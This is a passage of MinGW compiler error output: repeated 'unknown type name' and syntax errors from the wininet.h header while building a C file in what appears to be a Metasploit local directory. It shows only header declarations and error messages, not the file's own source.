InternetSetOptionExA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:408:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 408 | BOOLAPI InternetSetOptionExA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:408:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:409:3: error: unknown type name ‘EXTERN_C’ - 409 | BOOLAPI InternetSetOptionExW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:409:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 409 | BOOLAPI InternetSetOptionExW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:409:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:410:3: error: unknown type name ‘EXTERN_C’ - 410 | BOOLAPI InternetLockRequestFile(HINTERNET hInternet,HANDLE *lphLockRequestInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:410:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 410 | BOOLAPI InternetLockRequestFile(HINTERNET hInternet,HANDLE *lphLockRequestInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:410:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:411:3: error: unknown type name ‘EXTERN_C’ - 411 | BOOLAPI InternetUnlockRequestFile(HANDLE hLockRequestInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:411:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 411 | BOOLAPI InternetUnlockRequestFile(HANDLE hLockRequestInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:411:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:570:3: error: unknown type name ‘EXTERN_C’ - 570 | BOOLAPI InternetGetLastResponseInfoA(LPDWORD lpdwError,LPSTR lpszBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:570:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 570 | BOOLAPI InternetGetLastResponseInfoA(LPDWORD lpdwError,LPSTR lpszBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:570:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:571:3: error: unknown type name ‘EXTERN_C’ - 571 | BOOLAPI InternetGetLastResponseInfoW(LPDWORD lpdwError,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:571:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 571 | BOOLAPI InternetGetLastResponseInfoW(LPDWORD lpdwError,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:571:3: error: unknown type name ‘WINBOOL’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:573:17: error: unknown type name ‘CALLBACK’ - 573 | typedef VOID (CALLBACK *INTERNET_STATUS_CALLBACK)(HINTERNET hInternet,DWORD_PTR dwContext,DWORD dwInternetStatus,LPVOID lpvStatusInformation,DWORD dwStatusInformationLength); - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:574:11: error: unknown type name ‘INTERNET_STATUS_CALLBACK’ - 574 | typedef INTERNET_STATUS_CALLBACK *LPINTERNET_STATUS_CALLBACK; - | ^~~~~~~~~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:579:3: error: unknown type name ‘EXTERN_C’ - 579 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallback(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:579:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ - 579 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallback(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:579:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? -/usr/share/mingw-w64/include/wininet.h:582:3: error: unknown type name ‘EXTERN_C’ - 582 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackA(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:582:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ - 582 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackA(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:582:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? -/usr/share/mingw-w64/include/wininet.h:583:3: error: unknown type name ‘EXTERN_C’ - 583 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackW(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:583:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘INTERNET_STATUS_CALLBACK’ - 583 | INTERNETAPI_(INTERNET_STATUS_CALLBACK) InternetSetStatusCallbackW(HINTERNET hInternet,INTERNET_STATUS_CALLBACK lpfnInternetCallback); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:583:3: error: unknown type name ‘INTERNET_STATUS_CALLBACK’; did you mean ‘LPINTERNET_STATUS_CALLBACK’? -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:641:5: error: unknown type name ‘WINBOOL’ - 641 | WINBOOL fAccepted; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:642:5: error: unknown type name ‘WINBOOL’ - 642 | WINBOOL fLeashed; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:643:5: error: unknown type name ‘WINBOOL’ - 643 | WINBOOL fDowngraded; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:644:5: error: unknown type name ‘WINBOOL’ - 644 | WINBOOL fRejected; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:648:5: error: unknown type name ‘DWORD’ - 648 | DWORD dwCookieState; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:649:5: error: unknown type name ‘WINBOOL’ - 649 | WINBOOL fAllowSession; - | ^~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:672:3: error: unknown type name ‘EXTERN_C’ - 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:672:3: error: expected ‘;’ before ‘HINTERNET’ - 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:672:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpFindFirstFileA’ - 672 | INTERNETAPI_(HINTERNET) FtpFindFirstFileA(HINTERNET hConnect,LPCSTR lpszSearchFile,LPWIN32_FIND_DATAA lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:673:3: error: unknown type name ‘EXTERN_C’ - 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:673:3: error: expected ‘;’ before ‘HINTERNET’ - 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:673:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpFindFirstFileW’ - 673 | INTERNETAPI_(HINTERNET) FtpFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszSearchFile,LPWIN32_FIND_DATAW lpFindFileData,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:674:3: error: unknown type name ‘EXTERN_C’ - 674 | BOOLAPI FtpGetFileA(HINTERNET hConnect,LPCSTR lpszRemoteFile,LPCSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:674:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 674 | BOOLAPI FtpGetFileA(HINTERNET hConnect,LPCSTR lpszRemoteFile,LPCSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:674:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:675:3: error: unknown type name ‘EXTERN_C’ - 675 | BOOLAPI FtpGetFileW(HINTERNET hConnect,LPCWSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:675:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 675 | BOOLAPI FtpGetFileW(HINTERNET hConnect,LPCWSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:675:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:676:3: error: unknown type name ‘EXTERN_C’ - 676 | BOOLAPI FtpPutFileA(HINTERNET hConnect,LPCSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:676:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 676 | BOOLAPI FtpPutFileA(HINTERNET hConnect,LPCSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:676:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:677:3: error: unknown type name ‘EXTERN_C’ - 677 | BOOLAPI FtpPutFileW(HINTERNET hConnect,LPCWSTR lpszLocalFile,LPCWSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:677:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 677 | BOOLAPI FtpPutFileW(HINTERNET hConnect,LPCWSTR lpszLocalFile,LPCWSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:677:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:678:3: error: unknown type name ‘EXTERN_C’ - 678 | BOOLAPI FtpGetFileEx(HINTERNET hFtpSession,LPCSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:678:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 678 | BOOLAPI FtpGetFileEx(HINTERNET hFtpSession,LPCSTR lpszRemoteFile,LPCWSTR lpszNewFile,WINBOOL fFailIfExists,DWORD dwFlagsAndAttributes,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:678:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:679:3: error: unknown type name ‘EXTERN_C’ - 679 | BOOLAPI FtpPutFileEx(HINTERNET hFtpSession,LPCWSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:679:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 679 | BOOLAPI FtpPutFileEx(HINTERNET hFtpSession,LPCWSTR lpszLocalFile,LPCSTR lpszNewRemoteFile,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:679:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:680:3: error: unknown type name ‘EXTERN_C’ - 680 | BOOLAPI FtpDeleteFileA(HINTERNET hConnect,LPCSTR lpszFileName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:680:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 680 | BOOLAPI FtpDeleteFileA(HINTERNET hConnect,LPCSTR lpszFileName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:680:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:681:3: error: unknown type name ‘EXTERN_C’ - 681 | BOOLAPI FtpDeleteFileW(HINTERNET hConnect,LPCWSTR lpszFileName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:681:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 681 | BOOLAPI FtpDeleteFileW(HINTERNET hConnect,LPCWSTR lpszFileName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:681:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:682:3: error: unknown type name ‘EXTERN_C’ - 682 | BOOLAPI FtpRenameFileA(HINTERNET hConnect,LPCSTR lpszExisting,LPCSTR lpszNew); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:682:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 682 | BOOLAPI FtpRenameFileA(HINTERNET hConnect,LPCSTR lpszExisting,LPCSTR lpszNew); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:682:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:683:3: error: unknown type name ‘EXTERN_C’ - 683 | BOOLAPI FtpRenameFileW(HINTERNET hConnect,LPCWSTR lpszExisting,LPCWSTR lpszNew); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:683:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 683 | BOOLAPI FtpRenameFileW(HINTERNET hConnect,LPCWSTR lpszExisting,LPCWSTR lpszNew); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:683:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:684:3: error: unknown type name ‘EXTERN_C’ - 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:684:3: error: expected ‘;’ before ‘HINTERNET’ - 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:684:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpOpenFileA’ - 684 | INTERNETAPI_(HINTERNET) FtpOpenFileA(HINTERNET hConnect,LPCSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:685:3: error: unknown type name ‘EXTERN_C’ - 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:685:3: error: expected ‘;’ before ‘HINTERNET’ - 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:685:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘FtpOpenFileW’ - 685 | INTERNETAPI_(HINTERNET) FtpOpenFileW(HINTERNET hConnect,LPCWSTR lpszFileName,DWORD dwAccess,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:686:3: error: unknown type name ‘EXTERN_C’ - 686 | BOOLAPI FtpCreateDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:686:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 686 | BOOLAPI FtpCreateDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:686:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:687:3: error: unknown type name ‘EXTERN_C’ - 687 | BOOLAPI FtpCreateDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:687:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 687 | BOOLAPI FtpCreateDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:687:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:688:3: error: unknown type name ‘EXTERN_C’ - 688 | BOOLAPI FtpRemoveDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:688:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 688 | BOOLAPI FtpRemoveDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:688:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:689:3: error: unknown type name ‘EXTERN_C’ - 689 | BOOLAPI FtpRemoveDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:689:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 689 | BOOLAPI FtpRemoveDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:689:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:690:3: error: unknown type name ‘EXTERN_C’ - 690 | BOOLAPI FtpSetCurrentDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:690:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 690 | BOOLAPI FtpSetCurrentDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:690:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:691:3: error: unknown type name ‘EXTERN_C’ - 691 | BOOLAPI FtpSetCurrentDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:691:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 691 | BOOLAPI FtpSetCurrentDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:691:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:692:3: error: unknown type name ‘EXTERN_C’ - 692 | BOOLAPI FtpGetCurrentDirectoryA(HINTERNET hConnect,LPSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:692:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 692 | BOOLAPI FtpGetCurrentDirectoryA(HINTERNET hConnect,LPSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:692:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:693:3: error: unknown type name ‘EXTERN_C’ - 693 | BOOLAPI FtpGetCurrentDirectoryW(HINTERNET hConnect,LPWSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:693:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 693 | BOOLAPI FtpGetCurrentDirectoryW(HINTERNET hConnect,LPWSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:693:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:694:3: error: unknown type name ‘EXTERN_C’ - 694 | BOOLAPI FtpCommandA(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:694:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 694 | BOOLAPI FtpCommandA(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:694:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:695:3: error: unknown type name ‘EXTERN_C’ - 695 | BOOLAPI FtpCommandW(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCWSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:695:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 695 | BOOLAPI FtpCommandW(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCWSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:695:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:696:3: error: unknown type name ‘EXTERN_C’ - 696 | INTERNETAPI_(DWORD) FtpGetFileSize(HINTERNET hFile,LPDWORD lpdwFileSizeHigh); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:696:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 696 | INTERNETAPI_(DWORD) FtpGetFileSize(HINTERNET hFile,LPDWORD lpdwFileSizeHigh); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:696:3: error: unknown type name ‘DWORD’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:704:5: error: unknown type name ‘CHAR’ - 704 | CHAR DisplayString[MAX_GOPHER_DISPLAY_TEXT + 1]; - | ^~~~ -/usr/share/mingw-w64/include/wininet.h:705:5: error: unknown type name ‘DWORD’ - 705 | DWORD GopherType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:706:5: error: unknown type name ‘DWORD’ - 706 | DWORD SizeLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:707:5: error: unknown type name ‘DWORD’ - 707 | DWORD SizeHigh; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:708:5: error: unknown type name ‘FILETIME’ - 708 | FILETIME LastModificationTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:709:5: error: unknown type name ‘CHAR’ - 709 | CHAR Locator[MAX_GOPHER_LOCATOR_LENGTH + 1]; - | ^~~~ -/usr/share/mingw-w64/include/wininet.h:713:5: error: unknown type name ‘WCHAR’ - 713 | WCHAR DisplayString[MAX_GOPHER_DISPLAY_TEXT + 1]; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:714:5: error: unknown type name ‘DWORD’ - 714 | DWORD GopherType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:715:5: error: unknown type name ‘DWORD’ - 715 | DWORD SizeLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:716:5: error: unknown type name ‘DWORD’ - 716 | DWORD SizeHigh; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:717:5: error: unknown type name ‘FILETIME’ - 717 | FILETIME LastModificationTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:718:5: error: unknown type name ‘WCHAR’ - 718 | WCHAR Locator[MAX_GOPHER_LOCATOR_LENGTH + 1]; - | ^~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:765:5: error: unknown type name ‘LPCTSTR’ - 765 | LPCTSTR Comment; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:766:5: error: unknown type name ‘LPCTSTR’ - 766 | LPCTSTR EmailAddress; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:770:5: error: unknown type name ‘FILETIME’ - 770 | FILETIME DateAndTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:774:5: error: unknown type name ‘DWORD’ - 774 | DWORD Ttl; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:778:5: error: unknown type name ‘INT’ - 778 | INT Score; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:782:5: error: unknown type name ‘INT’ - 782 | INT LowerBound; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:783:5: error: unknown type name ‘INT’ - 783 | INT UpperBound; - | ^~~ -/usr/share/mingw-w64/include/wininet.h:787:5: error: unknown type name ‘LPCTSTR’ - 787 | LPCTSTR Site; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:791:5: error: unknown type name ‘LPCTSTR’ - 791 | LPCTSTR Organization; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:795:5: error: unknown type name ‘LPCTSTR’ - 795 | LPCTSTR Location; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:799:5: error: unknown type name ‘INT’ - 799 | INT DegreesNorth; - | ^~~ 